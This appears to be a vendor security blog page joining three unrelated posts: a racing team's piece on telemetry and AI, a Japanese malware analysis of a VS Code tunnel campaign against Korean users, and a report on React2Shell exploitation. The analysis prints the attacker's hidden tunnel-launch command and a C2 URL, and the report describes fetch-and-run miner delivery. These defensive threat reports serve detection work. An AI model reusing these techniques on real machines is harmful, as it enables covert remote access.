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November 16, 2021

The Tech Driving Arrow McLaren SP to the Top

As Arrow McLaren SP looks back on a positive season, the team reflects on key challenges, success, and how AI and automation is leveraged in their work!
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Taylor Kiel
Team President, Arrow McLaren SP
Written by
Craig Hampson
Director of Trackside Engineering, Arrow McLaren SP
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16
Nov 2021

As Arrow McLaren SP looks back on a positive season and prepares to build momentum into next year, Taylor Kiel (Team President) and Craig Hampson (Director of Trackside Engineering) reflect on key challenges and successes. With Pato O’Ward’s No. 5 car in the running to win the championship until the final race of the season, they reveal the formula for success – and how the team leverages AI and automation in every aspect of their work – from driver simulation to cyber security.

Data as the lifeblood for performance

In INDYCAR qualifiying, the difference between P1 and P10 can be as little as half a second, and when margins are that tight, the finer details in preparation make the difference. For us, that preparation is driven by data. Every race weekend and every practice session, over 100 lightweight sensors and several computers on the cars produce masses of data that is stored and analyzed for performance optimization.

This ecosystem includes an engine controller, a gear shift controller computer, and a computer unit that controls the clutch, and these systems all talk to each other across what is called a Controller Area Network (CAN). So the key question for us becomes: how do we get useful insights from that data, securely, and in a short period of time?

If you can think of something that’s happening on the car, the likelihood is our team is doing everything we can to try and measure it. Air speed, acceleration, tyre temperature, and so much more – we currently record over 1,500 data channels on the car itself, and we then process another 838 ‘math channels’ from combinations of this data – giving us, for example, the ride height of and downforce on the car.

This is more data than we can ever process with human beings alone, and a lot of our work now is figuring out how to automate these processes, using AI to look for patterns that humans simply cannot identify.

Pitting: More than just a tyre change

Each of our cars have two cellular-based telemetry systems built into them, but we are still limited on the amount of throughput we can observe real time, which is why we need to offload this data each time we pit during practice. This involves plugging in what we call an ‘umbilical cord’ that has a communication line and also powers the car.

Figure 1: A typical INDYCAR would last only minutes on its own battery without the engine running

Any typical race produces between 2.5GB and 3.3GB of data, in addition to in-car video, and a GPS system recording the car’s position on the track, which not only goes back to us but also to the relevant television broadcasters. So, we need to have a lot of storage available both in the cloud and on hard drives using a server. That data needs to be available not just to us at trackside but virtually to engineers not present at the race. And most importantly, that data needs to be secure, and protected from outside interference.

The cyber side: Turning to AI

All that precious data coming from the car, residing in the cloud or elsewhere in our organization, is susceptible to tampering from insiders and outsiders who may – deliberately or indirectly – compromise our ability to access or use that data reliably. As the cyber-threat landscape evolves – with ransomware bringing organizations of all shapes and sizes to a halt – we need to make sure we’re prepared for whatever attack is around the corner.

Firewalls, email gateways, and other perimeter protections are one part of the puzzle. But while these tools are focussed on keeping an attacker out – we needed another layer of defense that ensures that if these defenses are bypassed, we have an autonomous system that knows our organization inside out and can fight back on our behalf to disrupt emerging threats.

That’s where Darktrace has provided a revolutionary solution – using Self-Learning AI that understands every person and device from the ground up and identifies subtle deviations that point to a cyber-threat. And if ransomware strikes, 24/7 Autonomous Response is there in the form of Darktrace Antigena, taking precise action to contain ransomware and other threats at machine speed.

Double wins at doubleheaders

Using automation and AI throughout our technology stack enables us to extract meaningful insights from large pools of data and take quick, decisive action in the form of changes to the car or on-the-fly changes in race strategy.

The ability to react and react quickly is really put to the test on doubleheader race weekends, where any room for improvement you identify from Saturday’s race can be rectified in the form of overnight changes and implemented on Sunday. We believe it’s no coincidence that both of Pato’s No. 5 car’s wins came on the back end of doubleheader events, at Texas and Detroit Belle Isle. With people working in harmony with technology, our engineering team were able to make significant improvements to the car, react on the fly, and ultimately ensure we ended up ahead of the competition.

Digital fakes: Breaking new ground at Nashville

This year’s INDYCAR season featured a brand new track in Nashville, an exciting but daunting prospect for both the drivers and the team as a whole. Having access to a driver simulator, thanks to our partners at Chevrolet, we were able to run a virtual version of our car to try different setups, different techniques, and in this case have the driver learn his way round a whole new circuit.

Figure 2: The Chevrolet simulator projects a digital twin of the Nashville circuit

The track is recreated down to the nearest millimetre using a laser scanner, and then there is a lot of digital rendering involved, making it as realistic as possible with stands, fencing, and sponsor banners. Using this ‘digital fake’ representation was super helpful to the drivers in determining the correct approaches to corners, and for our engineers, enabling them to use the outputs to characterize the track.

The setup of the car in the simulator is effectively the same as the setup of the car in the real world: you set the spring rate and the ride height, it has the aerodynamic map, it knows the inertias and the masses of the car. It’s an incredibly complicated and powerful physics engine, but it gives us the ability to test things out in a controlled environment, and contributed toward one of Felix Rosenqvist’s strongest races of the season in the No. 7 car.

Simulations like these are the way of the future – not just for new circuits but in general. Rather than going through tyres and engines, we can replicate practice sessions in digital form, and the software gets closer to reality every day.

Looking ahead

What is next for Arrow McLaren SP? As we are now a part of the McLaren Racing family, new efficiencies and synergies are realized every month. We’ll certainly continue to leverage that valuable partnership, as well as our technology partnership with Darktrace, continuing to roll out their technology across our digital estate, including our email and cloud services.

In the INDYCAR Series, if you stay still, you go backwards, and the competition hots up every year. We know that now more than ever, the answer lies in using cutting-edge technologies across every aspect of the business to make our lives easier and ultimately propel us to the very top.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Taylor Kiel
Team President, Arrow McLaren SP
Written by
Craig Hampson
Director of Trackside Engineering, Arrow McLaren SP

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January 26, 2026

ダークトレース、韓国を標的とした、VS Codeを利用したリモートアクセス攻撃を特定

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はじめに

ダークトレースのアナリストは、韓国のユーザーを標的とした、北朝鮮(DPRK)が関係していると思われる攻撃を検知しました。このキャンペーンはJavascriptEncoded(JSE)スクリプトと政府機関を装ったおとり文書を使ってVisual Studio Code(VS Code)トンネルを展開し、リモートアクセスを確立していました。

技術分析

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
図1: 「2026年上半期国立大学院夜間プログラムの学生選抜に関する文書」という表題のおとり文書。

このキャンペーンで確認されたサンプルは、Hangul Word Processor (HWPX) 文書に偽装したJSEファイルであり、スピアフィッシングEメールを使って標的に送付されたと考えられます。このJSEファイルは複数のBase64エンコードされたブロブを含み、Windows Script Hostによって実行されます。このHWPXファイルは“2026年上半期国立大学院夜間プログラムの学生選抜に関する文書(1)”という名前で、C:\ProgramDataにあり、おとりとして開かれます。この文書は韓国の公務員に関連する事務を管掌する政府機関、人事革新処を装ったものでした。文書内のメタデータから、脅威アクターは文書を本物らしくみせるため、政府ウェブサイトから文書を取得し、編集したと思われます。

Base64 encoded blob.
図2: Base64エンコードされたブロブ

このスクリプトは次に、VSCode CLI ZIPアーカイブをMicrosoftからC:\ProgramDataへ、code.exe(正規のVS Code実行形式)およびout.txtという名前のファイルとともにダウンロードします。

隠されたウィンドウで、コマンドcmd.exe/c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene >"C:\ProgramData\out.txt" 2>&1 が実行され、 “bizeugene”という名前のVS Codeトンネルが確立されます。

VSCode Tunnel setup.
図3: VSCode トンネルの設定

VS Codeトンネルを使うことにより、ユーザーはリモートコンピューターに接続してVisualStudio Codeを実行できます。リモートコンピューターがVS Codeサーバーを実行し、このサーバーはMicrosoftのトンネルサービスに対する暗号化された接続を作成します。その後ユーザーはGitHubまたはMicrosoftにサインインし、VS CodeアプリケーションまたはWebブラウザを使って別のデバイスからこのマシンに接続することができます。VS Codeトンネルの悪用は2023年に最初に発見されて以来、東南アジアのデジタルインフラおよび政府機関を標的とする[1]中国のAPT(AdvancedPersistent Threat)グループにより使用されています。

 Contents of out.txt.
図4: out.txtの中身

“out.txt” ファイルには、VS Code Serverログおよび生成されたGitHubデバイスコードが含まれています。脅威アクターがGitHubアカウントからこのトンネルを承認すると、VS Codeを使って侵害されたシステムに接続されます。これにより脅威アクターはこのシステムに対する対話型のアクセスが可能となり、VS Codeターミナルやファイルブラウザーを使用して、ペイロードの取得やデータの抜き出しが可能になります。

GitHub screenshot after connection is authorized.
図5: 接続が承認された後のGitHub画面

このコード、およびトンネルトークン“bizeugene”が、POSTリクエストとしてhttps://www.yespp.co.kr/common/include/code/out.phpに送信されます。このコードは韓国にある正規のサイトですが、侵害されてC2サーバーとして使用されています。

まとめ

この攻撃で見られたHancom文書フォーマットの使用、政府機関へのなりすまし、長期のリモートアクセス、標的の選択は、過去に北朝鮮との関係が確認された脅威アクターの作戦パターンと一致しています。この例だけでは決定的なアトリビューションを行うことはできませんが、既存のDPRKのTTP(戦術、技法、手順)との一致は、このアクティビティが北朝鮮と関係を持つ脅威アクターから発生しているという確信を強めるものです。

また、このアクティビティは脅威アクターがカスタムマルウェアではなく正規のソフトウェアを使って、侵害したシステムへのアクセスを維持できる様子を示しています。VS Codeトンネルを使うことにより、攻撃者は専用のC2サーバーの代わりに、信頼されるMicrosoftインフラを使って通信を行うことができるのです。広く信頼されているアプリケーションの使用は、特に開発者向けツールがインストールされていることが一般的な環境では、検知をより困難にします。既知のマルウェアをブロックすることに重点を置いた従来型のセキュリティコントロールではこの種のアクティビティを識別することはできないかもしれません。ツール自体は有害なものではなく、多くの場合正規のベンダーによって署名されているからです。

作成:タラ・グールド(TaraGould)(マルウェア調査主任)
編集:ライアン・トレイル(Ryan Traill)(アナリストコンテンツ主任)

付録

侵害インジケータ (IoCs)

115.68.110.73 - 侵害されたサイトのIP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001- フィッシング: 添付ファイル

T1059- コマンドおよびスクリプトインタプリタ

T1204.002- ユーザー実行

T1027- ファイルおよび情報の難読化

T1218- 署名付きバイナリプロキシ実行

T1105- 侵入ツールの送り込み

T1090- プロキシ

T1041- C2チャネル経由の抜き出し

参考資料

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

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Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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